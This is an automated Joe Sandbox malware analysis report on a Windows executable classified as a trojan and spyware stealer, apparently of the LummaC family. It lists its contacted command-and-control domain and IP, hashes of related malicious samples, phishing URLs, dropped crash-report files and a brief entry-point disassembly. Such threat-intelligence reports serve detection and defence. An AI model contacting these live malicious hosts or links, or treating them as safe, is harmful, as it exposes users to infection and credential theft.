https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	2FjvjcayaH.exe, 00000000.00000003.1692681269.0000000004247000.00000004.00000800.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1692893501.0000000004247000.00000004.00000800.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1692629719.0000000004249000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	2FjvjcayaH.exe, 00000000.00000003.1720678485.000000000420C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://strollheavengwu.shop/	2FjvjcayaH.exe, 00000000.00000002.1925276282.0000000001CE5000.00000004.00000020.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1691844417.0000000001C7C000.00000004.00000020.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1701443246.0000000001CE9000.00000004.00000020.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1682819131.0000000001CA9000.00000004.00000020.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1764580950.0000000001CE5000.00000004.00000020.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000002.1925173070.0000000001C4C000.00000004.00000020.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1701443246.0000000001C7A000.00000004.00000020.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1691767292.0000000001C95000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.15.198	strollheavengwu.shop	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1429207
Start date and time:	2024-04-21 10:46:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 33s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2FjvjcayaH.exe renamed because original name is a hash value
Original Sample Name:	673225d992723665f19c4cf40e14b5f7.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/9@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 94% Number of executed functions: 39 Number of non-executed functions: 108
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.42.65.92
Excluded domains from analysis (whitelisted): onedsblobprdeus17.eastus.cloudapp.azure.com, ocsp.digicert.com, login.live.com, slscr.update.microsoft.com, blobcollector.events.data.trafficmanager.net, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
10:46:58	API Interceptor	7x Sleep call for process: 2FjvjcayaH.exe modified
10:47:22	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
104.21.15.198	qrLdMv1QXG.exe	Get hash	malicious	LummaC	Browse
	LwnI84BBtb.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
strollheavengwu.shop	qrLdMv1QXG.exe	Get hash	malicious	LummaC	Browse	104.21.15.198
	file.exe	Get hash	malicious	LummaC	Browse	172.67.163.209
	LwnI84BBtb.exe	Get hash	malicious	LummaC	Browse	104.21.15.198
	file.exe	Get hash	malicious	LummaC	Browse	104.21.15.198

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	ValoClient.exe	Get hash	malicious	Python Stealer, CStealer	Browse	104.21.95.148
	qrLdMv1QXG.exe	Get hash	malicious	LummaC	Browse	104.21.15.198
	PASS-1234.exe	Get hash	malicious	LummaC	Browse	104.21.11.250
	file.exe	Get hash	malicious	LummaC	Browse	172.67.163.209
	https://www.sigtn.com/utils/emt.cfm?client_id=9195153&campaign_id=73466&link=aHR0cHM6Ly9saW5rLm1haWwuYmVlaGlpdi5jb20vbHMvY2xpY2s/dXBuPXUwMDEucklvcWRaR1R1SGJzNzQ0S21jWTQzbm9GN25FNXlXdTZFcUlEQ1JQVW5LVlRsVDF5N0p0RTVORGVVSmxOU254Uk82V2lWVzB6akF4aVNnRXQ4S0dzZUdDb3N4OE9CV0tIQ1VyMmlaRXQ0LTJCM2EtMkZuWXhLOHNYNW1IZ0ZPZFd1VHpnUmNyMHdMYk52c0NadXktMkZiSXRoVDI4bi0yRjdCUy0yQmVINGxDRVExVTQxQU5xSS0zRFhBa0FfdWpTUjJaZ1VvcFZ3R0Y1eWNMcm5nS0Y1andZVnZoMHVzbGExV2Z5ZUs2QXJvYzFDOXFaY3NKZHlBVHNhVnFnZmxkNjlSOE1FQ3J6dHdtVUw5QkliUXRiM1VjUEwxanplbGNyNG1jZGFhdlZNZFE0ejA0ZHFqRC0yRkR4RVlVV1lLM3BjNTBsREpndVd5Z0NZMEZ2LTJGdG9kUkpjSzNjRlYwcDdMYS0yQlh1NjRveEtqVkpFUkV3WGJSekN0dTlZazJBSmgwQVVNeUxiOTVXWlBiTmxOQjlmTXRhbm41aDY2eDByMm5nR2k5QmJkLTJCdWd1Ync2Z092blJheXlKLTJGYXB3eHBSSHpxZHZER21pREhpR09kemxvQVRJQWkxMWR5ZWhpazY3NDRzQ2E3dzl0MWZqU2JvTWpXd1dvdXlVaDJPd0VyLTJCOHJDZTB1VjF6clJDTi0yQjh6Z2R4Y1JibkZ1a3JtNGVJbU5WQUJnSFMtMkZ1S2RrUDdrZkUxUm9PWlVGdWU3bzZkLTJGY3FpMUx2VXVpbW9VbmxzMjRseXRVQzNQdUpiOVlDZ0Zoc29LRlZOMUxvZXloOFFGTERUaEN4VjE5UC0yRmxCWTRpZURUI2V4cGVkaXRpbmdAYmVpbi5jb20=	Get hash	malicious	Unknown	Browse	162.247.243.29
	SecuriteInfo.com.PUA.Biztree.1653.24897.exe	Get hash	malicious	Unknown	Browse	1.1.1.1
	SecuriteInfo.com.PUA.Biztree.1653.24897.exe	Get hash	malicious	Unknown	Browse	1.1.1.1
	file.exe	Get hash	malicious	LummaC	Browse	104.21.15.37
	https://modemultiple.pages.dev/	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://private.document-projeect.workers.dev/	Get hash	malicious	HTMLPhisher	Browse	172.64.154.107

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	qrLdMv1QXG.exe	Get hash	malicious	LummaC	Browse	104.21.15.198
	PASS-1234.exe	Get hash	malicious	LummaC	Browse	104.21.15.198
	file.exe	Get hash	malicious	LummaC	Browse	104.21.15.198
	file.exe	Get hash	malicious	LummaC	Browse	104.21.15.198
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	104.21.15.198
	LwnI84BBtb.exe	Get hash	malicious	LummaC	Browse	104.21.15.198
	SajWKdHxdF.exe	Get hash	malicious	RisePro Stealer	Browse	104.21.15.198
	file.exe	Get hash	malicious	LummaC	Browse	104.21.15.198
	file.exe	Get hash	malicious	RisePro Stealer	Browse	104.21.15.198
	pSfqOmM1DG.exe	Get hash	malicious	Remcos, DBatLoader	Browse	104.21.15.198

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_2FjvjcayaH.exe_363a9054c440a65f09d92467b29511a9aaf17_22fc85c3_f909bf4d-7151-41f6-a060-721012387cc8\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9933807586401565
Encrypted:	false
SSDEEP:	96:f08UXC4MRsFHqSXtq/wSZQXIDcQqc6/cEFcw34+HbHg/PB6Heao8Fa99Oy4HVs2k:fl+cRlTM0U7v1jtdFPzuiFQZ24IO8q
MD5:	73E1840E3D65B304C82345A2306B2A80
SHA1:	D754199541767D2D860414E7D4C4FCEACB35F7C0
SHA-256:	1B621770FC8A2B702CEF41D79412120DD63E942F98674DEBD56E1350713E6CB3
SHA-512:	A29D7702999DEB18338ABC277B108D582CBA7526579868A4B55D7FA675B44B988DB22D7C41B498EA670731D70AD54F64053CA4363798D77747FD6F31F0E89790
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.8.1.6.2.8.2.6.7.2.8.0.2.8.0.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.S.t.a.t.u.s.=.1.3.1.0.7.2.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.9.0.9.b.f.4.d.-.7.1.5.1.-.4.1.f.6.-.a.0.6.0.-.7.2.1.0.1.2.3.8.7.c.c.8.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.7.6.d.0.4.4.8.c.-.f.d.c.e.-.4.8.5.c.-.b.6.7.4.-.5.f.6.2.1.2.f.e.1.6.6.a.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.2.F.j.v.j.c.a.y.a.H...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.d.5.c.-.0.0.0.1.-.0.0.1.4.-.6.4.f.5.-.6.a.7.7.c.8.9.3.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.a.9.0.2.8.3.d.0.1.1.2.5.a.5.8.1.0.3.0.d.9.a.0.1.0.b.a.3.0.a.b.e.0.0.0.0.0.a.1.6.!.0.0.0.0.2.2.3.1.2.b.0.d.c.5.4.b.7.0.c.3.d.7.6.e.6.6.d.9.4.b.9.b.0.1.f.7.1.2.6.6.f.f.b.4.!.2.F.j.v.j.c.a.y.a.H...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.0.4././.1.8.:.1.2.:.5.9.:.4.2.!.0.!.2.F.j.v.j.c.a.y.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_2FjvjcayaH.exe_629f4833c94957fd7494c037d86647ccd7cf21e6_22fc85c3_aa0fd20e-f8d8-45c3-bd22-9875b6de912b\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0027004816421847
Encrypted:	false
SSDEEP:	192:f0DiotcFlA904DmIwshjtdFPzuiFwZ24IO8q:StcFlA+4Dm9shj9zuiFwY4IO8q
MD5:	ABAEAAB3D8EB659D77C2C4DC44D16223
SHA1:	740CFD9DB0456FCEC3314EA03C3B1882C50ED51B
SHA-256:	0ADCE32D61F7642D2243598B858A3038B10E2C518AF981081EAAA3E217E4B779
SHA-512:	0A1C873506FFEA678100FCEC90B648446DBC3144C5F83BEF336EBF0EAF05B1C21E1AD59D9CCF240CF919C092BCD05583D648C94133E317417595ACA3A0430D84
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.8.1.6.2.8.2.7.5.8.4.5.6.2.6.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.5.8.1.6.2.8.2.8.9.2.8.3.1.7.5.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.a.0.f.d.2.0.e.-.f.8.d.8.-.4.5.c.3.-.b.d.2.2.-.9.8.7.5.b.6.d.e.9.1.2.b.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.7.3.6.0.4.b.2.-.4.c.b.4.-.4.d.d.2.-.8.4.e.3.-.4.a.e.8.2.6.4.9.0.d.5.4.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.2.F.j.v.j.c.a.y.a.H...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.d.5.c.-.0.0.0.1.-.0.0.1.4.-.6.4.f.5.-.6.a.7.7.c.8.9.3.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.a.9.0.2.8.3.d.0.1.1.2.5.a.5.8.1.0.3.0.d.9.a.0.1.0.b.a.3.0.a.b.e.0.0.0.0.0.a.1.6.!.0.0.0.0.2.2.3.1.2.b.0.d.c.5.4.b.7.0.c.3.d.7.6.e.6.6.d.9.4.b.9.b.0.1.f.7.1.2.6.6.f.f.b.4.!.2.F.j.v.j.c.a.y.a.H...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER94E4.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Sun Apr 21 08:47:06 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	54810
Entropy (8bit):	2.6910006497091308
Encrypted:	false
SSDEEP:	384:1yIEHUtjB0PqazTHSurLYo3Z0IEJ8jeZg8nvNJ:1A0tjB9azjtYo3Z0yjeG+
MD5:	33AD9EAFCEF4C044BA8D02104C9B3E0B
SHA1:	47010BC1C1A2D3E9815ED20D90237C2010F8321E
SHA-256:	4EF9B4C738024AC0EFB430424E4A7904BAD2967D52FCE97A66E543C1A512005E
SHA-512:	A2FE26E2BDBF6CE8DDEDF7AAA091705370C8B09984C3D771954634011FE2FDEA3AEA1747EF3D7C106F5A840B9B41932816C1ADFD1FACA3CB884A1C412E0C8388
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... .........$f............4...............H.......t...............Z1..........`.......8...........T...........x=..............` ..........L"..............................................................................eJ......."......GenuineIntel............T.......\.....$f.............................0..2...............W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER95C0.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8410
Entropy (8bit):	3.6949769059223723
Encrypted:	false
SSDEEP:	192:R6l7wVeJUjl6IS6Y9gSUky7gmfsspNl89bcJ1fYUm:R6lXJul6IS6YKSUky7gmfs1crfK
MD5:	1FA19A3ED2ACECBE8E6FC37B4943188F
SHA1:	D8A419ECB5FC4386854DAA11C80032C6CBE7B5DC
SHA-256:	E6CD5F738F559D88E6AC18298507E5DFFA841A689C69D0DD64DA63B3B6A43BD7
SHA-512:	219FDFCB445CE56DD6FB2900C662391B324FE9C2C9885EBC0E69788DD2228F616BFE39B5FF1353801314F16D206F7682CFDA9EDA0C59E5B8B12EEDF9BD09152A
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.5.1.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER95F0.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4684
Entropy (8bit):	4.445001447074971
Encrypted:	false
SSDEEP:	48:cvIwWl8zsoJg77aI9cCOWpW8VY7Ym8M4JGNzlFcC5+q8v1Nze3cdAund:uIjfuI7Xv7VnJGVZK1Ve3cdAund
MD5:	B3C40FB23AF78C56F5ED1F0C3816D105
SHA1:	B8C4464A5C8CA8BC950D6922EA0AF3C9C165E59D
SHA-256:	5B7750ADD7DAF43ED068E1F44136A7830DAE5D6C9BB35FC3C3911F633FAE280A
SHA-512:	23CB3A9F3B27AC1387BABB7B7DD36EAF9B6F5DF585DE1DEC128813322DF6AAE98DEE5E770A894A6B546DCF7B2BFE7F05B0070172206C0FCE0424B863A01A1CCE
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="289429" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9830.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Sun Apr 21 08:47:07 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	1086182
Entropy (8bit):	1.0345242294912402
Encrypted:	false
SSDEEP:	1536:+fw0SKJmz2r6OV7oJMWRFHDPVMRX1i9HYQ:+fwoURM75WRlVMU
MD5:	4A381A141B9FE183B49B5D08444DB2E5
SHA1:	DF0366CFDE83F2F6E19D827FC46425D9A1986E47
SHA-256:	5C73E937719FDC216A2C3C1F135B6FE9BDCD76320017812E13EE70FF93EBACED
SHA-512:	ED67C4B419394FD1A55CC9DC34788CC7E1A0E1BE95E41F171FC79F47260B54FFCCCE82AE931942ED00A92725AA8D80054B9C03E46F97E42D35D674BCFC6E02EE
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... .........$f............4...............H.......t...............Z1..........`.......8...........T...........P=...U..........` ..........L"..............................................................................eJ......."......GenuineIntel............T.......\.....$f.............................0..2...............W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9C96.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8442
Entropy (8bit):	3.697702087584247
Encrypted:	false
SSDEEP:	192:R6l7wVeJUw6IB6Y9nSUUyJhGgmfPE6cI/pDa89byBsf0MGm:R6lXJr6IB6Y9SUUyegmfPE6cMy6fN
MD5:	5229331828C7B40D8C53F55E8B6E9D7D
SHA1:	E309B8F31C45F4E503F2F5658709D4BF9D8A8375
SHA-256:	0753CF022CF1BFCE6A1A082A62F0D3EB9C539DBA34C7C8091D24B3334CFD8CE2
SHA-512:	DAA84546FB5CD7DFDB264AF8ACF71D243AF3D34102EB2EABF016F288AB27F3881C13CDD5826E02FCA2AF82BD34C540FFE28EBFE3F6C33A2DEA8E25C1E499470F
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.5.1.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9CB6.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4726
Entropy (8bit):	4.473946497483791
Encrypted:	false
SSDEEP:	48:cvIwWl8zsoJg77aI9cCOWpW8VYNOYm8M4JGNOFO3FX7+q8v1NOFOU3cdAuWd:uIjfuI7Xv7VAJGK+7K1Kb3cdAuWd
MD5:	20C859C210DB9EDD6D7A6FEA9891F20A
SHA1:	345B3F43FA87669E6B6F8A3F8B5B8C79DA7B5193
SHA-256:	D4684415A5318EB882D0B700D9E81E794B062B677681250C331363A9193CA442
SHA-512:	9B2018DB8B524BFB8529A3AF6CCF29BE0F34E7DDC8BDDC2F5D016B8121B27DC6FBAB94FF7A14337B3E35AC8C16BEC40E6D93B767C3376C401F45B5A259017A48
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="289429" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.4654056957998876
Encrypted:	false
SSDEEP:	6144:OIXfpi67eLPU9skLmb0b4+WSPKaJG8nAgejZMMhA2gX4WABl0uNOdwBCswSbO:DXD94+WlLZMM6YFHE+O
MD5:	6425F4FF8B1AC561AF75EB7041B87A3B
SHA1:	568931499B9B6BF87FDC358E13A33DBE3794EC5F
SHA-256:	74D39ED43E66C5971AEE3261FB17C12A2D050B6FAAC9F4580B82035CD9A6D050
SHA-512:	005EDDA58D47184729E2C002E0D66D2A08E59570A5B8EDE6E2DB7781A386B63287CC74B5F6F0C449F3D0462170F6DE3F07495C5C15ADFDA104C1191E20FD069D
Malicious:	false
Reputation:	low
Preview:	regf7...7....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm^.R}...............................................................................................................................................................................................................................................................................................................................................0.DI........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.925631425727434
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	2FjvjcayaH.exe
File size:	389'632 bytes
MD5:	673225d992723665f19c4cf40e14b5f7
SHA1:	22312b0dc54b70c3d76e66d94b9b01f71266ffb4
SHA256:	f1c35a47842119856e0067aa4b390cdce620b3d69262266a9923278fbac15ff8
SHA512:	1c516e7e2e32e7362127831aba6315a61b392d7e59e2740789fc8b31df4e25733ac5454f38a7282a94f4bb230c6289f028491f5ec128f18e3d1603e31d93c4b6
SSDEEP:	6144:g6WEE0gcnLCISNHx1iBDSUB1O9FyMb8eE:LWR0goLCnBzi1So1Mb0
TLSH:	9A84CE11BEE1D8E0F0E6C63148319E51C2ABFC266D31865B36C8764EFE702D14A6E767
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........................................./.......]..............w+..............w......Rich............PE..L......e...................

File Icon


Icon Hash:	cd0d3d2e4e054d05

Static PE Info

General

Entrypoint:	0x403c12
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x650FEFDA [Sun Sep 24 08:14:18 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2497a562a80e46afc8082945c685e4fc

Entrypoint Preview

Instruction
call 00007F459947E815h
jmp 00007F4599477AE5h
push 00000014h
push 00415DB8h
call 00007F459947B50Dh
call 00007F459947D88Eh
movzx esi, ax
push 00000002h
call 00007F459947E7A8h
pop ecx
mov eax, 00005A4Dh
cmp word ptr [00400000h], ax
je 00007F4599477AE6h
xor ebx, ebx
jmp 00007F4599477B15h
mov eax, dword ptr [0040003Ch]
cmp dword ptr [eax+00400000h], 00004550h
jne 00007F4599477ACDh
mov ecx, 0000010Bh
